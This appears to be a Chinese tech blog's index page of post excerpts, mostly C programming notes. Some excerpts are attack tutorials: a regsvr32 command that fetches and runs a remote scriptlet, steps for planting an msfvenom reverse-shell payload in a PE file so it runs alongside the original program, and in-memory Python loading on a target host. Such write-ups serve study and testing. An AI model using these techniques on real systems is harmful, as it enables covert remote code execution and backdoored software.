wubba lubba dub dub.

在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。

命令语法如下:

1
regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll

原理则是利用com组件的scriptlet注册方式,关于scriptlet的介绍可以参考MSDN,差不多就是用脚本形式实现com组件和asp互操作,但其实除了给asp调用之外还可以给其他.net组件调用。

命令中的参数介绍:

  • /s: 静默模式,不弹框
  • /n: 不调用DllRegisterServer
  • /u: 卸载com组件
  • /i: 传给DllInstall的参数内容
  • scrobj.dll: com服务器,全名 Windows Script Component,DllInstall方法在这个组件中实现

根据msdn关于DllInstall的介绍中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允许注册过程中dll进行一些自定义的安装过程,该过程在DllInstall中实现。

阅读此文

参考链接或在线工具

测试结果

阅读此文
post @ 2020-08-23

关于文件操作个人比较困惑的地方有两点:

  1. 关于wwb的区别
  2. 如何定位文件的读写位置

文件格式和打开模式

c中的文件打开模式分为:文本模式和二进制模式,分别处理文本格式文件和二进制格式文件。

两个模式的主要区别是在换行符的处理上,利用文本模式在写文本内容到文件的时候,需要将换行符转换成系统对应的编码方式.

系统不同,对换行符的表示方式也是不一样的,例如unix系统是\n,而MS-DOS\r\nMac\rC里面都是用\n作为换行符的,所以在文本写入时,底层需要将C形式换行符\n做对应的转换之后写入文件,读取文件时将对应系统的换行符转成C形式的。因为unix系统的换行符是\n,这和C形式一致,所以unix系统下文本模式和二进制模式没有区别。

阅读此文
post @ 2020-08-19

假设被调用的DLL存在一个导出函数,原型如下:

1
void printN(int);

三种方式从DLL导入导出函数

  • 生成DLL时使用模块定义 (.def) 文件
  • 在主应用程序的函数定义中使用关键字__declspec(dllimport)__declspec(dllexport)
  • 利用#pragma comment(linker, "/export:[Exports Name]=[Mangling Name]"

def编写规范:参考模块定义 (.Def) 文件

基本规则:

  • LIBRARY 语句说明 .def ⽂件相应的 DLL;
  • EXPORTS 语句后列出要导出函数的名称。可以在 .def ⽂件中的导出函数名后加 @n,表 示要导出函数的序号为 n(在进⾏函数调⽤时,这个序号将发挥其作⽤);
  • .def ⽂件中的注释由每个注释⾏开始处的分号 (;) 指定,且注释不能与语句共享⼀⾏。
阅读此文

参考

在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。

示例程序代码

这里直接编译一个32位的HelloWorld程序为例:

1
2
3
4
5
6
7
#include <stdio.h>

int main()
{
puts("Hello World!");
return 0;
}

编译后的exe,可以使用CFF Explorer查看相关信息。

大致步骤

少绕弯子,补充一下通用步骤:

  1. 利用msf生成一个payload,保存成一个bin文件,命令:msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C
  2. 通过010Editor等编辑工具在bin文件的前后各插入20-40个字节,以90填充
  3. 在目标exe中添加一个新的代码段,将bin的内容导入,并设置可读、可写、可执行、包含代码等属性标志
  4. 更新header大小以及重建PE头
  5. 使用x32dbg调试exe并查看新加代码段的基址,例如是0x004A0000
  6. 一个5字节长度的指令,例如:call 0x00471B50,覆盖成jmp 0x004A0000
  7. 记住下一条指令的位置,例如:0x00491EF8,后面恢复程序正常逻辑的时候要用
  8. 编辑代码段开头,用pushadpushfd指令覆盖开头2个字节
  9. 调试exe,观察pushfd之后的ESP值,例如0x010FFDBC,以及shellcode执行结束时ESP值,例如0x010FFBB8,发现少了0x204
  10. 为了能够恢复之前的寄存器状态,在shellcode最后追加指令add esp, 0x204
  11. 追加popfdpopad指令,和push顺序相反
  12. 将第6步中覆盖前的指令追加到popad之后
  13. 最后,恢复之前的运行逻辑,追加jmp 0x00491EF8指令,跳到第7步记录位置
阅读此文

在目标机器运行python工具

好多工具都是python写的,如果目标机器是linux的话自带python环境可以很方便的运行这些工具,但是windows下是不自带python环境的,所以一种办法是直接在目标环境安装一个python,另外一种就是直接在内存加载python脚本。

ironpython可以将python脚本转成.net形式在内存中运行,两个工具可以达到目的:

阅读此文

读取输入的方式

相关函数原型(从控制台获取输入,不考虑宽字符):

1
2
3
4
5
int scanf( const char *format, ... );
int getchar(void);
char *gets( char *str );
char *gets_s( char *str, rsize_t n );
char *fgets( char *str, int count, FILE *stream );
  • scanf
    • 如果解析错误,内容继续留在缓冲区供下次使用;
    • 解析失败返回0,成功返回解析的参数个数,不会超过占位符个数,读到文件尾返回EOF(-1);
    • 读取字符串,一次只能读取一个词,不能用scanf读取一行;
  • getchar
    • 可以读取到换行符;
    • 常用于暂停程序,或丢弃缓冲区剩余字符;
  • gets
    • 读取一行,遇到换行符,直接丢弃换行符;
    • 会自动在字符串末尾添加\0
    • 返回字符串指针,读取失败返回null;
  • gets_s
    • 可以设置读取的字符串长度;
    • 读到换行符,将换行符丢弃;
    • 如果读取到最大字符数,还没有读取到换行符或文件结尾,读取并丢弃随后的输入直至遇到换行符或EOF;
    • 返回字符串指针,读取失败返回null;
    • c11的可选函数
  • fgets
    • 可以设置读取的字符串长度;
    • 读到换行符不丢弃存到数组里;
    • 不会自动清除行缓冲区剩余数据;
    • 返回字符串指针,读取失败返回null;
阅读此文

条件控制

if…else…

大致结构:

1
2
3
if(condition) {...} else {...}
if(condition) {...}
if(condition) {...} else if {...} else {...}

switch

结构:

1
2
3
4
5
6
7
8
9
10
11
12
switch(variable)
{
case CASE1:
...
break;
case CASE2:
...
break;
default:
...
break;
}
阅读此文

一维数组及其指针表示法

一维数组:

1
2
int ar[] = {1,2,3}    // 直接初始化,编译器自动获取数组大小
int br[3] = {1,2,3} // 直接指定大小

数组的名字ar其实是一个指针:

1
2
3
int *pr = ar;
printf("%d\n", pr == ar); // true
printf("%d\n", pr+1 == &ar[1]); // true

所以可以通过指针的方式访问数组:

1
printf("%d\n", *(ar+1));  //  2
阅读此文

Compression:

1
2
3
4
5
6
7
$s = @'YourInputHere"@
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
$sw = New-Object System.IO.StreamWriter($cs)
$sw.Write($s)
$sw.Close();
$s = [System.Convert]::ToBase64String($ms.ToArray())
阅读此文
⬆︎TOP